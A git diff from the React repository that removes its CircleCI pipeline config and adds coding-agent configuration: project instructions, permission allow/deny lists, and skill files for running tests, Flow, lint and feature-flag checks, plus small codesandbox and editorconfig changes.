diff --git a/.circleci/config.yml b/.circleci/config.yml
deleted file mode 100644
index 1aad95b12a23..000000000000
--- a/.circleci/config.yml
+++ /dev/null
@@ -1,699 +0,0 @@
-version: 2.1
-
-aliases:
-  - &docker
-    - image: cimg/node:18.20.1-browsers
-
-  - &environment
-    TZ: /usr/share/zoneinfo/America/Los_Angeles
-
-  - &restore_yarn_cache_fixtures_dom
-    restore_cache:
-      name: Restore yarn cache for fixtures/dom
-      keys:
-        - v2-yarn_cache-{{ arch }}-{{ checksum "yarn.lock" }}-fixtures/dom
-
-  - &yarn_install_fixtures_dom
-    run:
-      name: Install dependencies in fixtures/dom
-      working_directory: fixtures/dom
-      command: yarn install --frozen-lockfile --cache-folder ~/.cache/yarn
-
-  - &yarn_install_fixtures_dom_retry
-    run:
-      name: Install dependencies in fixtures/dom (retry)
-      when: on_fail
-      working_directory: fixtures/dom
-      command: yarn install --frozen-lockfile --cache-folder ~/.cache/yarn
-
-  - &save_yarn_cache_fixtures_dom
-    save_cache:
-      name: Save yarn cache for fixtures/dom
-      key: v2-yarn_cache-{{ arch }}-{{ checksum "yarn.lock" }}-fixtures/dom
-      paths:
-        - ~/.cache/yarn
-
-  - &TEST_PARALLELISM 20
-
-  - &attach_workspace
-    at: build
-
-commands:
-  setup_node_modules:
-    description: "Restore node_modules"
-    steps:
-      - restore_cache:
-          name: Restore yarn cache
-          keys:
-            - v2-yarn_cache-{{ arch }}-{{ checksum "yarn.lock" }}
-      - run:
-          name: Install dependencies
-          command: |
-            yarn install --frozen-lockfile --cache-folder ~/.cache/yarn
-            if [ $? -ne 0 ]; then
-              yarn install --frozen-lockfile --cache-folder ~/.cache/yarn
-            fi
-          environment:
-          # If we start needing the Electron binary, please ensure the binary is cached in CI following https://www.electronjs.org/docs/latest/tutorial/installation
-            ELECTRON_SKIP_BINARY_DOWNLOAD: 1
-      - save_cache:
-          name: Save yarn cache
-          key: v2-yarn_cache-{{ arch }}-{{ checksum "yarn.lock" }}
-          paths:
-            - ~/.cache/yarn
-
-# The CircleCI API doesn't yet support triggering a specific workflow, but it
-# does support triggering a pipeline. So as a workaround you can triggger the
-# entire pipeline and use parameters to disable everything except the workflow
-# you want. CircleCI recommends this workaround here:
-# https://support.circleci.com/hc/en-us/articles/360050351292-How-to-trigger-a-workflow-via-CircleCI-API-v2-
-parameters:
-  # This is only set when triggering the CI pipeline via an API request.
-  prerelease_commit_sha:
-    type: string
-    default: ''
-
-jobs:
-  yarn_lint:
-    docker: *docker
-    environment: *environment
-
-    steps:
-      - checkout
-      - setup_node_modules
-      - run: node ./scripts/prettier/index
-      - run: node ./scripts/tasks/eslint
-      - run: ./scripts/circleci/check_license.sh
-      - run: ./scripts/circleci/test_print_warnings.sh
-
-  yarn_flow:
-    docker: *docker
-    environment: *environment
-    parallelism: 5
-
-    steps:
-      - checkout
-      - setup_node_modules
-      - run: node ./scripts/tasks/flow-ci
-
-
-  yarn_flags:
-    docker: *docker
-    environment: *environment
-
-    steps:
-      - checkout
-      - setup_node_modules
-      - run: yarn flags
-
-  scrape_warning_messages:
-    docker: *docker
-    environment: *environment
-
-    steps:
-      - checkout
-      - setup_node_modules
-      - run:
-          command: |
-            mkdir -p ./build/__test_utils__
-            node ./scripts/print-warnings/print-warnings.js > build/__test_utils__/ReactAllWarnings.js
-      - persist_to_workspace:
-          root: .
-          paths:
-            - build
-
-  yarn_build:
-    docker: *docker
-    environment: *environment
-    parallelism: 40
-    steps:
-      - checkout
-      - setup_node_modules
-      - run: yarn build
-      - persist_to_workspace:
-          root: .
-          paths:
-            - build
-
-  download_build:
-    docker: *docker
-    environment: *environment
-    parameters:
-      revision:
-        type: string
-    steps:
-      - checkout
-      - setup_node_modules
-      - run:
-          name: Download artifacts for revision
-          command: |
-              git fetch origin main
-              cd ./scripts/release && yarn && cd ../../
-              scripts/release/download-experimental-build.js --commit=<< parameters.revision >> --allowBrokenCI
-      - persist_to_workspace:
-          root: .
-          paths:
-            - build
-
-  download_base_build_for_sizebot:
-    docker: *docker
-    environment: *environment
-    steps:
-      - checkout
-      - setup_node_modules
-      - run:
-          name: Download artifacts for base revision
-          command: |
-            git fetch origin main
-            cd ./scripts/release && yarn && cd ../../
-            scripts/release/download-experimental-build.js --commit=$(git merge-base HEAD origin/main) --allowBrokenCI
-            mv ./build ./base-build
-
-      - run:
-          # TODO: The `download-experimental-build` script copies the npm
-          # packages into the `node_modules` directory. This is a historical
-          # quirk of how the release script works. Let's pretend they
-          # don't exist.
-          name: Delete extraneous files
-          command: rm -rf ./base-build/node_modules
-
-      - persist_to_workspace:
-          root: .
-          paths:
-            - base-build
-
-  process_artifacts_combined:
-    docker: *docker
-    environment: *environment
-    steps:
-      - checkout
-      - attach_workspace:
-          at: .
-      - setup_node_modules
-      - run: echo "<< pipeline.git.revision	>>" >> build/COMMIT_SHA
-        # Compress build directory into a single tarball for easy download
-      - run: tar -zcvf ./build.tgz ./build
-        # TODO: Migrate scripts to use `build` directory instead of `build2`
-      - run: cp ./build.tgz ./build2.tgz
-      - store_artifacts:
-          path: ./build2.tgz
-      - store_artifacts:
-          path: ./build.tgz
-
-  sizebot:
-    docker: *docker
-    environment: *environment
-    steps:
-      - checkout
-      - attach_workspace:
-          at: .
-      - run: echo "<< pipeline.git.revision	>>" >> build/COMMIT_SHA
-      - setup_node_modules
-      - run:
-          command: node ./scripts/tasks/danger
-      - store_artifacts:
-          path: sizebot-message.md
-
-  build_devtools_and_process_artifacts:
-    docker: *docker
-    environment: *environment
-    steps:
-      - checkout
-      - attach_workspace:
-          at: .
-      - setup_node_modules
-      - run:
-          environment:
-            RELEASE_CHANNEL: experimental
-          command: ./scripts/circleci/pack_and_store_devtools_artifacts.sh
-      - store_artifacts:
-          path: ./build/devtools.tgz
-      # Simplifies getting the extension for local testing
-      - store_artifacts:
-          path: ./build/devtools/chrome-extension.zip
-          destination: react-devtools-chrome-extension.zip
-      - store_artifacts:
-          path: ./build/devtools/firefox-extension.zip
-          destination: react-devtools-firefox-extension.zip
-
-  run_devtools_e2e_tests:
-    docker: *docker
-    environment: *environment
-    steps:
-      - checkout
-      - attach_workspace:
-          at: .
-      - setup_node_modules
-      - run:
-          name: Playwright install deps
-          command: |
-            npx playwright install
-            sudo npx playwright install-deps
-      - run:
-          environment:
-            RELEASE_CHANNEL: experimental
-          command: ./scripts/circleci/run_devtools_e2e_tests.js
-
-  run_fixtures_flight_tests:
-    docker: *docker
-    environment: *environment
-    steps:
-      - checkout
-      - attach_workspace:
-          at: .
-      # Fixture copies some built packages from the workroot after install.
-      # That means dependencies of the built packages are not installed.
-      # We need to install dependencies of the workroot to fulfill all dependency constraints
-      - setup_node_modules
-      - restore_cache:
-          name: Restore yarn cache of fixture
-          keys:
-            - v2-yarn_cache_fixtures_flight-{{ arch }}-{{ checksum "yarn.lock" }}
-      - run:
-          name: Install fixture dependencies
-          working_directory: fixtures/flight
-          command: |
-            yarn install --frozen-lockfile --cache-folder ~/.cache/yarn
-            if [ $? -ne 0 ]; then
-              yarn install --frozen-lockfile --cache-folder ~/.cache/yarn
-            fi
-      - save_cache:
-          name: Save yarn cache of fixture
-          key: v2-yarn_cache_fixtures_flight-{{ arch }}-{{ checksum "yarn.lock" }}
-          paths:
-            - ~/.cache/yarn
-      - run:
-          working_directory: fixtures/flight
-          name: Playwright install deps
-          command: |
-            npx playwright install
-            sudo npx playwright install-deps
-      - run:
-          name: Run tests
-          working_directory: fixtures/flight
-          command: yarn test
-          environment:
-          # Otherwise the webserver is a blackbox
-            DEBUG: pw:webserver
-      - store_artifacts:
-          path: fixtures/flight/playwright-report
-      - store_artifacts:
-          path: fixtures/flight/test-results
-
-  run_devtools_tests_for_versions:
-    docker: *docker
-    environment: *environment
-    parallelism: *TEST_PARALLELISM
-    parameters:
-      version:
-        type: string
-    steps:
-      - checkout
-      - attach_workspace:
-          at: .
-      - setup_node_modules
-      - run: ./scripts/circleci/download_devtools_regression_build.js << parameters.version >> --replaceBuild
-      - run: node ./scripts/jest/jest-cli.js --build --project devtools --release-channel=experimental --reactVersion << parameters.version >> --ci
-
-  run_devtools_e2e_tests_for_versions:
-    docker: *docker
-    environment: *environment
-    parallelism: *TEST_PARALLELISM
-    parameters:
-      version:
-        type: string
-    steps:
-      - checkout
-      - attach_workspace:
-          at: .
-      - setup_node_modules
-      - run:
-          name: Playwright install deps
-          command: |
-            npx playwright install
-            sudo npx playwright install-deps
-      - run: ./scripts/circleci/download_devtools_regression_build.js << parameters.version >>
-      - run:
-          environment:
-            RELEASE_CHANNEL: experimental
-          command: ./scripts/circleci/run_devtools_e2e_tests.js << parameters.version >>
-      - run:
-          name: Cleanup build regression folder
-          command: rm -r ./build-regression
-      - store_artifacts:
-          path: ./tmp/screenshots
-
-  yarn_lint_build:
-    docker: *docker
-    environment: *environment
-    steps:
-      - checkout
-      - attach_workspace:
-          at: .
-      - setup_node_modules
-      - run: yarn lint-build
-
-  yarn_check_release_dependencies:
-    docker: *docker
-    environment: *environment
-    steps:
-      - checkout
-      - attach_workspace:
-          at: .
-      - setup_node_modules
-      - run: yarn check-release-dependencies
-
-
-  check_error_codes:
-    docker: *docker
-    environment: *environment
-    steps:
-      - checkout
-      - attach_workspace: *attach_workspace
-      - setup_node_modules
-      - run:
-          name: Search build artifacts for unminified errors
-          command: |
-            yarn extract-errors
-            git diff --quiet || (echo "Found unminified errors. Either update the error codes map or disable error minification for the affected build, if appropriate." && false)
-
-  check_generated_fizz_runtime:
-    docker: *docker
-    environment: *environment
-    steps:
-      - checkout
-      - attach_workspace: *attach_workspace
-      - setup_node_modules
-      - run:
-          name: Confirm generated inline Fizz runtime is up to date
-          command: |
-            yarn generate-inline-fizz-runtime
-            git diff --quiet || (echo "There was a change to the Fizz runtime. Run `yarn generate-inline-fizz-runtime` and check in the result." && false)
-
-  yarn_test:
-    docker: *docker
-    environment: *environment
-    parallelism: *TEST_PARALLELISM
-    parameters:
-      args:
-        type: string
-    steps:
-      - checkout
-      - setup_node_modules
-      - run: yarn test <<parameters.args>> --ci
-
-  yarn_test_build:
-    docker: *docker
-    environment: *environment
-    parallelism: *TEST_PARALLELISM
-    parameters:
-      args:
-        type: string
-    steps:
-      - checkout
-      - attach_workspace:
-          at: .
-      - setup_node_modules
-      - run: yarn test --build <<parameters.args>> --ci
-
-  RELEASE_CHANNEL_stable_yarn_test_dom_fixtures:
-    docker: *docker
-    environment: *environment
-    steps:
-      - checkout
-      - attach_workspace:
-          at: .
-      - setup_node_modules
-      - *restore_yarn_cache_fixtures_dom
-      - *yarn_install_fixtures_dom
-      - *yarn_install_fixtures_dom_retry
-      - *save_yarn_cache_fixtures_dom
-      - run:
-          name: Run DOM fixture tests
-          environment:
-            RELEASE_CHANNEL: stable
-          working_directory: fixtures/dom
-          command: |
-            yarn predev
-            yarn test --maxWorkers=2
-
-  publish_prerelease:
-    parameters:
-      commit_sha:
-        type: string
-      release_channel:
-        type: string
-      dist_tag:
-        type: string
-    docker: *docker
-    environment: *environment
-    steps:
-      - checkout
-      - setup_node_modules
-      - run:
-          name: Run publish script
-          command: |
-            git fetch origin main
-            cd ./scripts/release && yarn && cd ../../
-            scripts/release/prepare-release-from-ci.js --skipTests -r << parameters.release_channel >> --commit=<< parameters.commit_sha >>
-            cp ./scripts/release/ci-npmrc ~/.npmrc
-            scripts/release/publish.js --ci --tags << parameters.dist_tag >>
-
-workflows:
-
-  build_and_test:
-    unless: << pipeline.parameters.prerelease_commit_sha >>
-    jobs:
-      - yarn_flags:
-          filters:
-            branches:
-              ignore:
-                - builds/facebook-www
-      - yarn_flow:
-          filters:
-            branches:
-              ignore:
-                - builds/facebook-www
-      - check_generated_fizz_runtime:
-          filters:
-            branches:
-              ignore:
-                - builds/facebook-www
-      - yarn_lint:
-          filters:
-            branches:
-              ignore:
-                - builds/facebook-www
-      - yarn_test:
-          filters:
-            branches:
-              ignore:
-                - builds/facebook-www
-          matrix:
-            parameters:
-              args:
-                # Intentionally passing these as strings instead of creating a
-                # separate parameter per CLI argument, since it's easier to
-                # control/see which combinations we want to run.
-                - "-r=stable --env=development"
-                - "-r=stable --env=production"
-                - "-r=experimental --env=development"
-                - "-r=experimental --env=production"
-                - "-r=www-classic --env=development --variant=false"
-                - "-r=www-classic --env=production --variant=false"
-                - "-r=www-classic --env=development --variant=true"
-                - "-r=www-classic --env=production --variant=true"
-                - "-r=www-modern --env=development --variant=false"
-                - "-r=www-modern --env=production --variant=false"
-                - "-r=www-modern --env=development --variant=true"
-                - "-r=www-modern --env=production --variant=true"
-                - "-r=xplat --env=development --variant=false"
-                - "-r=xplat --env=development --variant=true"
-                - "-r=xplat --env=production --variant=false"
-                - "-r=xplat --env=production --variant=true"
-
-                # TODO: Test more persistent configurations?
-                - '-r=stable --env=development --persistent'
-                - '-r=experimental --env=development --persistent'
-      - yarn_build:
-          filters:
-            branches:
-              ignore:
-                - builds/facebook-www
-      - scrape_warning_messages:
-          filters:
-            branches:
-              ignore:
-                - builds/facebook-www
-      - process_artifacts_combined:
-          requires:
-            - scrape_warning_messages
-            - yarn_build
-      - yarn_test_build:
-          requires:
-            - yarn_build
-          matrix:
-            parameters:
-              args:
-                # Intentionally passing these as strings instead of creating a
-                # separate parameter per CLI argument, since it's easier to
-                # control/see which combinations we want to run.
-                - "-r=stable --env=development"
-                - "-r=stable --env=production"
-                - "-r=experimental --env=development"
-                - "-r=experimental --env=production"
-
-                # Dev Tools
-                - "--project=devtools -r=experimental"
-
-                # TODO: Update test config to support www build tests
-                # - "-r=www-classic --env=development --variant=false"
-                # - "-r=www-classic --env=production --variant=false"
-                # - "-r=www-classic --env=development --variant=true"
-                # - "-r=www-classic --env=production --variant=true"
-                # - "-r=www-modern --env=development --variant=false"
-                # - "-r=www-modern --env=production --variant=false"
-                # - "-r=www-modern --env=development --variant=true"
-                # - "-r=www-modern --env=production --variant=true"
-
-                # TODO: Update test config to support xplat build tests
-                # - "-r=xplat --env=development --variant=false"
-                # - "-r=xplat --env=development --variant=true"
-                # - "-r=xplat --env=production --variant=false"
-                # - "-r=xplat --env=production --variant=true"
-
-                # TODO: Test more persistent configurations?
-      - download_base_build_for_sizebot:
-          filters:
-            branches:
-              ignore:
-                - main
-                - builds/facebook-www
-      - sizebot:
-          filters:
-            branches:
-              ignore:
-                - main
-          requires:
-            - download_base_build_for_sizebot
-            - yarn_build
-      - yarn_lint_build:
-          requires:
-            - yarn_build
-      - yarn_check_release_dependencies:
-          requires:
-            - yarn_build
-      - check_error_codes:
-          requires:
-            - yarn_build
-      - RELEASE_CHANNEL_stable_yarn_test_dom_fixtures:
-          requires:
-            - yarn_build
-      - build_devtools_and_process_artifacts:
-          requires:
-            - yarn_build
-      - run_devtools_e2e_tests:
-          requires:
-            - build_devtools_and_process_artifacts
-      - run_fixtures_flight_tests:
-          requires:
-            - yarn_build
-
-  devtools_regression_tests:
-    unless: << pipeline.parameters.prerelease_commit_sha >>
-    triggers:
-      - schedule:
-          # DevTools regression tests run once a day
-          cron: "0 0 * * *"
-          filters:
-            branches:
-              only:
-                - main
-    jobs:
-      - download_build:
-          revision: << pipeline.git.revision >>
-      - build_devtools_and_process_artifacts:
-          requires:
-            - download_build
-      - run_devtools_tests_for_versions:
-          requires:
-            - build_devtools_and_process_artifacts
-          matrix:
-            parameters:
-              version:
-                - "16.0"
-                - "16.5" # schedule package
-                - "16.8" # hooks
-                - "17.0"
-                - "18.0"
-      - run_devtools_e2e_tests_for_versions:
-          requires:
-            - build_devtools_and_process_artifacts
-          matrix:
-            parameters:
-              version:
-                - "16.0"
-                - "16.5" # schedule package
-                - "16.8" # hooks
-                - "17.0"
-                - "18.0"
-
-  # Used to publish a prerelease manually via the command line
-  publish_preleases:
-    when: << pipeline.parameters.prerelease_commit_sha >>
-    jobs:
-      - publish_prerelease:
-          name: Publish to Canary channel
-          commit_sha: << pipeline.parameters.prerelease_commit_sha >>
-          release_channel: stable
-          # The tags to use when publishing canaries. The main one we should
-          # always include is "canary" but we can use multiple (e.g. alpha,
-          # beta, rc). To declare multiple, use a comma-separated string, like
-          # this:
-          #   dist_tag: "canary,alpha,beta,rc"
-          #
-          # TODO: We currently tag canaries with "next" in addition to "canary"
-          # because this used to be called the "next" channel and some
-          # downstream consumers might still expect that tag. We can remove this
-          # after some time has elapsed and the change has been communicated.
-          dist_tag: "canary,next,rc"
-      - publish_prerelease:
-          name: Publish to Experimental channel
-          requires:
-            # NOTE: Intentionally running these jobs sequentially because npm
-            # will sometimes fail if you try to concurrently publish two
-            # different versions of the same package, even if they use different
-            # dist tags.
-            - Publish to Canary channel
-          commit_sha: << pipeline.parameters.prerelease_commit_sha >>
-          release_channel: experimental
-          dist_tag: experimental
-
-  # Publishes on a cron schedule
-  publish_preleases_nightly:
-    unless: << pipeline.parameters.prerelease_commit_sha >>
-    triggers:
-      - schedule:
-          # At 10 minutes past 16:00 on Mon, Tue, Wed, Thu, and Fri
-          cron: "10 16 * * 1,2,3,4,5"
-          filters:
-            branches:
-              only:
-                - main
-    jobs:
-      - publish_prerelease:
-          name: Publish to Canary channel
-          commit_sha: << pipeline.git.revision >>
-          release_channel: stable
-          dist_tag: "canary,next,rc"
-      - publish_prerelease:
-          name: Publish to Experimental channel
-          requires:
-            # NOTE: Intentionally running these jobs sequentially because npm
-            # will sometimes fail if you try to concurrently publish two
-            # different versions of the same package, even if they use different
-            # dist tags.
-            - Publish to Canary channel
-          commit_sha: << pipeline.git.revision >>
-          release_channel: experimental
-          dist_tag: experimental
diff --git a/.claude/instructions.md b/.claude/instructions.md
new file mode 100644
index 000000000000..39573f6c4495
--- /dev/null
+++ b/.claude/instructions.md
@@ -0,0 +1,46 @@
+# React
+
+**Scope**: All code EXCEPT `/compiler/` (compiler has its own instructions).
+
+## Project Structure
+
+| Directory | Purpose |
+|-----------|---------|
+| `/packages/` | Publishable packages (react, react-dom, scheduler, etc.) |
+| `/scripts/` | Build, test, and development scripts |
+| `/fixtures/` | Test applications for manual testing |
+| `/compiler/` | React Compiler (separate sub-project) |
+
+## Key Packages
+
+| Package | Purpose |
+|---------|---------|
+| `react` | Core React library |
+| `react-dom` | DOM renderer |
+| `react-reconciler` | Core reconciliation algorithm |
+| `scheduler` | Cooperative scheduling |
+| `react-server-dom-*` | Server Components |
+| `react-devtools-*` | Developer Tools |
+| `react-refresh` | Fast Refresh runtime |
+
+## Requirements
+
+- **Node**: Must be installed. Stop and prompt user if missing.
+- **Package Manager**: Use `yarn` only.
+
+## Verification
+
+**IMPORTANT**: Use `/verify` to validate all changes before committing.
+
+## Commands
+
+| Command  | Purpose              |
+|----------|----------------------|
+| `/fix`   | Lint and format code |
+| `/test`  | Run tests            |
+| `/flow`  | Type check with Flow |
+| `/flags` | Check feature flags  |
+
+## Building
+
+Builds are handled by CI. Do not run locally unless instructed.
diff --git a/.claude/settings.json b/.claude/settings.json
new file mode 100644
index 000000000000..f12f21abf44b
--- /dev/null
+++ b/.claude/settings.json
@@ -0,0 +1,44 @@
+{
+  "hooks": {
+    "SessionStart": [
+      {
+        "hooks": [
+          {
+            "type": "command",
+            "command": "if [[ \"$PWD\" != */compiler* ]]; then cat .claude/instructions.md 2>/dev/null || true; fi"
+          }
+        ]
+      }
+    ]
+  },
+  "permissions": {
+    "allow": [
+      "Skill(extract-errors)",
+      "Skill(feature-flags)",
+      "Skill(fix)",
+      "Skill(flags)",
+      "Skill(flow)",
+      "Skill(test)",
+      "Skill(verify)",
+      "Bash(yarn test:*)",
+      "Bash(yarn test-www:*)",
+      "Bash(yarn test-classic:*)",
+      "Bash(yarn test-stable:*)",
+      "Bash(yarn linc:*)",
+      "Bash(yarn lint:*)",
+      "Bash(yarn flow:*)",
+      "Bash(yarn prettier:*)",
+      "Bash(yarn build:*)",
+      "Bash(yarn extract-errors:*)",
+      "Bash(yarn flags:*)"
+    ],
+    "deny": [
+      "Bash(yarn download-build:*)",
+      "Bash(yarn download-build-for-head:*)",
+      "Bash(npm:*)",
+      "Bash(pnpm:*)",
+      "Bash(bun:*)",
+      "Bash(npx:*)"
+    ]
+  }
+}
diff --git a/.claude/skills/extract-errors/SKILL.md b/.claude/skills/extract-errors/SKILL.md
new file mode 100644
index 000000000000..08bb1830eb49
--- /dev/null
+++ b/.claude/skills/extract-errors/SKILL.md
@@ -0,0 +1,12 @@
+---
+name: extract-errors
+description: Use when adding new error messages to React, or seeing "unknown error code" warnings.
+---
+
+# Extract Error Codes
+
+## Instructions
+
+1. Run `yarn extract-errors`
+2. Report if any new errors need codes assigned
+3. Check if error codes are up to date
diff --git a/.claude/skills/feature-flags/SKILL.md b/.claude/skills/feature-flags/SKILL.md
new file mode 100644
index 000000000000..8e3281a1af28
--- /dev/null
+++ b/.claude/skills/feature-flags/SKILL.md
@@ -0,0 +1,79 @@
+---
+name: feature-flags
+description: Use when feature flag tests fail, flags need updating, understanding @gate pragmas, debugging channel-specific test failures, or adding new flags to React.
+---
+
+# React Feature Flags
+
+## Flag Files
+
+| File | Purpose |
+|------|---------|
+| `packages/shared/ReactFeatureFlags.js` | Default flags (canary), `__EXPERIMENTAL__` overrides |
+| `packages/shared/forks/ReactFeatureFlags.www.js` | www channel, `__VARIANT__` overrides |
+| `packages/shared/forks/ReactFeatureFlags.native-fb.js` | React Native, `__VARIANT__` overrides |
+| `packages/shared/forks/ReactFeatureFlags.test-renderer.js` | Test renderer |
+
+## Gating Tests
+
+### `@gate` pragma (test-level)
+
+Use when the feature is completely unavailable without the flag:
+
+```javascript
+// @gate enableViewTransition
+it('supports view transitions', () => {
+  // This test only runs when enableViewTransition is true
+  // and is SKIPPED (not failed) when false
+});
+```
+
+### `gate()` inline (assertion-level)
+
+Use when the feature exists but behavior differs based on flag:
+
+```javascript
+it('renders component', async () => {
+  await act(() => root.render(<App />));
+
+  if (gate(flags => flags.enableNewBehavior)) {
+    expect(container.textContent).toBe('new output');
+  } else {
+    expect(container.textContent).toBe('legacy output');
+  }
+});
+```
+
+## Adding a New Flag
+
+1. Add to `ReactFeatureFlags.js` with default value
+2. Add to each fork file (`*.www.js`, `*.native-fb.js`, etc.)
+3. If it should vary in www/RN, set to `__VARIANT__` in the fork file
+4. Gate tests with `@gate flagName` or inline `gate()`
+
+## Checking Flag States
+
+Use `/flags` to view states across channels. See the `flags` skill for full command options.
+
+## `__VARIANT__` Flags (GKs)
+
+Flags set to `__VARIANT__` simulate gatekeepers - tested twice (true and false):
+
+```bash
+/test www <pattern>              # __VARIANT__ = true
+/test www variant false <pattern> # __VARIANT__ = false
+```
+
+## Debugging Channel-Specific Failures
+
+1. Run `/flags --diff <channel1> <channel2>` to compare values
+2. Check `@gate` conditions - test may be gated to specific channels
+3. Run `/test <channel> <pattern>` to isolate the failure
+4. Verify flag exists in all fork files if newly added
+
+## Common Mistakes
+
+- **Forgetting both variants** - Always test `www` AND `www variant false` for `__VARIANT__` flags
+- **Using @gate for behavior differences** - Use inline `gate()` if both paths should run
+- **Missing fork files** - New flags must be added to ALL fork files, not just the main one
+- **Wrong gate syntax** - It's `gate(flags => flags.name)`, not `gate('name')`
diff --git a/.claude/skills/fix/SKILL.md b/.claude/skills/fix/SKILL.md
new file mode 100644
index 000000000000..9335409af1da
--- /dev/null
+++ b/.claude/skills/fix/SKILL.md
@@ -0,0 +1,17 @@
+---
+name: fix
+description: Use when you have lint errors, formatting issues, or before committing code to ensure it passes CI.
+---
+
+# Fix Lint and Formatting
+
+## Instructions
+
+1. Run `yarn prettier` to fix formatting
+2. Run `yarn linc` to check for remaining lint issues
+3. Report any remaining manual fixes needed
+
+## Common Mistakes
+
+- **Running prettier on wrong files** - `yarn prettier` only formats changed files
+- **Ignoring linc errors** - These will fail CI, fix them before committing
diff --git a/.claude/skills/flags/SKILL.md b/.claude/skills/flags/SKILL.md
new file mode 100644
index 000000000000..a9ddc331ea98
--- /dev/null
+++ b/.claude/skills/flags/SKILL.md
@@ -0,0 +1,39 @@
+---
+name: flags
+description: Use when you need to check feature flag states, compare channels, or debug why a feature behaves differently across release channels.
+---
+
+# Feature Flags
+
+Arguments:
+- $ARGUMENTS: Optional flags
+
+## Options
+
+| Option | Purpose |
+|--------|---------|
+| (none) | Show all flags across all channels |
+| `--diff <ch1> <ch2>` | Compare flags between channels |
+| `--cleanup` | Show flags grouped by cleanup status |
+| `--csv` | Output in CSV format |
+
+## Channels
+
+- `www`, `www-modern` - Meta internal
+- `canary`, `next`, `experimental` - OSS channels
+- `rn`, `rn-fb`, `rn-next` - React Native
+
+## Legend
+
+✅ enabled, ❌ disabled, 🧪 `__VARIANT__`, 📊 profiling-only
+
+## Instructions
+
+1. Run `yarn flags $ARGUMENTS`
+2. Explain the output to the user
+3. For --diff, highlight meaningful differences
+
+## Common Mistakes
+
+- **Forgetting `__VARIANT__` flags** - These are tested both ways in www; check both variants
+- **Comparing wrong channels** - Use `--diff` to see exact differences
diff --git a/.claude/skills/flow/SKILL.md b/.claude/skills/flow/SKILL.md
new file mode 100644
index 000000000000..5ef34a201299
--- /dev/null
+++ b/.claude/skills/flow/SKILL.md
@@ -0,0 +1,30 @@
+---
+name: flow
+description: Use when you need to run Flow type checking, or when seeing Flow type errors in React code.
+---
+
+# Flow Type Checking
+
+Arguments:
+- $ARGUMENTS: Renderer to check (default: dom-node)
+
+## Renderers
+
+| Renderer | When to Use |
+|----------|-------------|
+| `dom-node` | Default, recommended for most changes |
+| `dom-browser` | Browser-specific DOM code |
+| `native` | React Native |
+| `fabric` | React Native Fabric |
+
+## Instructions
+
+1. Run `yarn flow $ARGUMENTS` (use `dom-node` if no argument)
+2. Report type errors with file locations
+3. For comprehensive checking (slow), use `yarn flow-ci`
+
+## Common Mistakes
+
+- **Running without a renderer** - Always specify or use default `dom-node`
+- **Ignoring suppressions** - Check if `$FlowFixMe` comments are masking real issues
+- **Missing type imports** - Ensure types are imported from the correct package
diff --git a/.claude/skills/test/SKILL.md b/.claude/skills/test/SKILL.md
new file mode 100644
index 000000000000..e150ad7e549e
--- /dev/null
+++ b/.claude/skills/test/SKILL.md
@@ -0,0 +1,46 @@
+---
+name: test
+description: Use when you need to run tests for React core. Supports source, www, stable, and experimental channels.
+---
+
+Run tests for the React codebase.
+
+Arguments:
+- $ARGUMENTS: Channel, flags, and test pattern
+
+Usage Examples:
+- `/test ReactFiberHooks` - Run with source channel (default)
+- `/test experimental ReactFiberHooks` - Run with experimental channel
+- `/test www ReactFiberHooks` - Run with www-modern channel
+- `/test www variant false ReactFiberHooks` - Test __VARIANT__=false
+- `/test stable ReactFiberHooks` - Run with stable channel
+- `/test classic ReactFiberHooks` - Run with www-classic channel
+- `/test watch ReactFiberHooks` - Run in watch mode (TDD)
+
+Release Channels:
+- `(default)` - Source/canary channel, uses ReactFeatureFlags.js defaults
+- `experimental` - Source/experimental channel with __EXPERIMENTAL__ flags = true
+- `www` - www-modern channel with __VARIANT__ flags = true
+- `www variant false` - www channel with __VARIANT__ flags = false
+- `stable` - What ships to npm
+- `classic` - Legacy www-classic (rarely needed)
+
+Instructions:
+1. Parse channel from arguments (default: source)
+2. Map to yarn command:
+   - (default) → `yarn test --silent --no-watchman <pattern>`
+   - experimental → `yarn test -r=experimental --silent --no-watchman <pattern>`
+   - stable → `yarn test-stable --silent --no-watchman <pattern>`
+   - classic → `yarn test-classic --silent --no-watchman <pattern>`
+   - www → `yarn test-www --silent --no-watchman <pattern>`
+   - www variant false → `yarn test-www --variant=false --silent --no-watchman <pattern>`
+3. Report test results and any failures
+
+Hard Rules:
+1. **Use --silent to see failures** - This limits the test output to only failures.
+2. **Use --no-watchman** - This is a common failure in sandboxing.
+
+Common Mistakes:
+- **Running without a pattern** - Runs ALL tests, very slow. Always specify a pattern.
+- **Forgetting both www variants** - Test `www` AND `www variant false` for `__VARIANT__` flags.
+- **Test skipped unexpectedly** - Check for `@gate` pragma; see `feature-flags` skill.
diff --git a/.claude/skills/verify/SKILL.md b/.claude/skills/verify/SKILL.md
new file mode 100644
index 000000000000..daed015e28e4
--- /dev/null
+++ b/.claude/skills/verify/SKILL.md
@@ -0,0 +1,24 @@
+---
+name: verify
+description: Use when you want to validate changes before committing, or when you need to check all React contribution requirements.
+---
+
+# Verification
+
+Run all verification steps.
+
+Arguments:
+- $ARGUMENTS: Test pattern for the test step
+
+## Instructions
+
+Run these first in sequence:
+1. Run `yarn prettier` - format code (stop if fails)
+2. Run `yarn linc` - lint changed files (stop if fails)
+
+Then run these with subagents in parallel:
+1. Use `/flow` to type check (stop if fails)
+2. Use `/test` to test changes in source (stop if fails)
+3. Use `/test www` to test changes in www (stop if fails)
+
+If all pass, show success summary. On failure, stop immediately and report the issue with suggested fixes.
diff --git a/.codesandbox/ci.json b/.codesandbox/ci.json
index f395115a4bc2..2164efec0c8f 100644
--- a/.codesandbox/ci.json
+++ b/.codesandbox/ci.json
@@ -1,10 +1,11 @@
 {
-  "packages": ["packages/react", "packages/react-dom", "packages/scheduler"],
+  "packages": ["packages/react", "packages/react-dom", "packages/react-server-dom-webpack", "packages/scheduler"],
   "buildCommand": "download-build-in-codesandbox-ci",
-  "node": "18",
+  "node": "20",
   "publishDirectory": {
     "react": "build/oss-experimental/react",
     "react-dom": "build/oss-experimental/react-dom",
+    "react-server-dom-webpack": "build/oss-experimental/react-server-dom-webpack",
     "scheduler": "build/oss-experimental/scheduler"
   },
   "sandboxes": ["new"],
diff --git a/.editorconfig b/.editorconfig
index 07552cfff88b..48d2b3d27e85 100644
--- a/.editorconfig
+++ b/.editorconfig
@@ -8,11 +8,9 @@ indent_size = 2
 indent_style = space
 insert_final_newline = true
 max_line_length = 80
-trim_trailing_whitespace = true
 
 [*.md]
 max_line_length = 0
-trim_trailing_whitespace = false
 
 [COMMIT_EDITMSG]
 max_line_length = 0
